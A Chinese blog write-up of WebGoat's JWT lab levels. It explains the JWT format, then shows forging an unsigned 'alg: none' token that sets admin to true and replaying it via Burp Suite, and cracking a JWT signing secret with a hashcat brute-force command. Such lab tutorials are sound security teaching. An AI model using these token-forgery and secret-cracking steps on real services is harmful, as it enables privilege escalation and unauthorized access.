JWT越权访问漏洞

JWT越权访问漏洞

原文参考 :xiu

1 靶场搭建:

webgoat-server-8.1.0.jar  使用这个靶场

启动靶场为:java -jar webgoat-server-8.1.0.jar --server.port=8888

访问页面:http://127.0.0.1:8888/WebGoat/ —>选择注册

在这里插入图片描述

填写用户密码,点击注册

在这里插入图片描述

选择 JWT

在这里插入图片描述

选择3,有流程说明
在这里插入图片描述

选这第四关进行投票

在这里插入图片描述

切换一个用户,进行投票,并删除票,提示只有admin用户可以,使用burp suite焯去删除发送的数据包

在这里插入图片描述

bp抓到包,提示只有admin可以进行重置票

在这里插入图片描述

用户的身份在token中,分析里面值进行修改token

Cookie: access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2OTU0NzA1MzgsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.19GkQq28-pNBY-8wYA3LnrEOZ5gF1h2HggUH73nTh994L2ZK8sJmkx1tphdGWpgjHTQoXBDcCCZdAoVWwl1GCw;

2 JWT的头部组成

在这里插入图片描述

JWT(JSON Web Token)由三部分组成:头部(Header)、载荷(Payload)、签名
(Signature)。
 头部(Header):头部通常由两部分组成,算法类型和令牌类型。
 算法类型:指定用于生成签名的算法,例如 HMAC、RSA 或者 ECDSA。
 令牌类型:指定令牌的类型,常见的是 JWT。
头部使用 Base64Url 编码表示,并作为整个 JWT 的第一部分。头部的一个示例:
{
 "alg": "HS256",none
 "typ": "JWT"
}
 载荷(Payload):载荷存储了有关用户或实体的声明和其他有关信息。
 声明:如用户 ID、角色、权限等信息。
 注册声明:包含一些标准的声明(比如发行人、过期时间等)和一些自定义的
声明。
载荷也使用 Base64Url 编码表示,并作为整个 JWT 的第二部分。载荷的一个示例:
{
 "sub": "1234567890",
 "name": "John Doe",
 "iat": 1516239022
}
 签名(Signature):签名是对头部和载荷进行签名的结果,用于验证 JWT 的完整
性和真实性。
 签名生成方式:将头部和载荷进行 Base64Url 编码后拼接在一起,然后使
用指定的加密算法(如 HMAC、RSA)进行签名,将生成的签名添加到 JWT 中。
2.1 头部
2.1.1 alg:

​ 说明这个 JWT 的签名使用的算法的参数,常见值用 HS256(默认),HS512 等,也可以为

​ None。HS256 表示 HMAC SHA256。

2.1.2 type:

​ 说明这个 token 的类型为 JWT

2.2 payload
载荷就是存放有效信息的地方。这个名字像是特指飞机上承载的货品,这些有效信息包含三个部分
	* 标准中注册的声明
	* 公共的声明
	* 私有的声明
	
标准中注册的声明(建议但不强制使用):
	* iss:jwt签发者
	* sub:jwt所面向的用户
	* aud:接收jwt的一方
	* exp:jwt的过期时间,这个过期时间必须要大于签发时间
	* nbf:定义在什么时间之前,该jwt都是不可用的.
	* iat:jwt的签发时间
	* jti:jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。
2.3 签名
服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用;

此密码进行加密,生成的字符串就是 JWT 的签名

3 漏洞复现

3.1 攻击点token(第三关)
头部的alg算法HS256进行设置none【没有】

改前:
{
 "alg": "HS256",
 "typ": "JWT"
}

改后:
{
 "alg": "none",none
 "typ": "JWT"
}

在这里插入图片描述

3.2 对token值base64的加密码方式进行解析加密编码,只能看。
https://jwt.io/

颜色标记对应的头、中、尾,依依对应

在这里插入图片描述

3.3 修改解密后的json,在加密成base64
3.3.1 base64加密方式解密网
https://www.bejson.com/enc/base64/   # base64加密网

https://jwt.io/   # base64加密方式查看

在这里插入图片描述

在这里插入图片描述

ewogICJpYXQiOiAxNjk1NDcwNTM4LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJhZG1pbiIKfQ

在这里插入图片描述

3.3.2 将获取修改后的base64,放入解读加密方式
https://jwt.io/   # base64加密方式查看

在这里插入图片描述

3.3.3 最后组成base64,后面的点一定有,后台是根据点分隔取值
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNjk1NDcwNTM4LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJhZG1pbiIKfQ.
3.4 使用bp抓包,将加密后的base64替换token值,send发送

​ 提示:恭喜你,成功完成任务

在这里插入图片描述

4 第四关

​ 修改 payload 数据,admin 修改为 true,将加密方式修改为 none。

5 第五关

密码爆破

在这里插入图片描述

修改 exp 有效时间
爆破秘钥
hashcat -m 16500 jwt.txt -a 3 -w 3 1.txt
-m 16500 这里的 16500 对应的就是 jwt 的 token 爆破;
-a 3 代表蛮力破解
-w 3 可以理解为高速破解,就是会让桌面进程无响应的那种高速
jwt.txt 是我把题目要求破解的 token 保存到的文件
pass.txt 密码字典

6 第7关

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值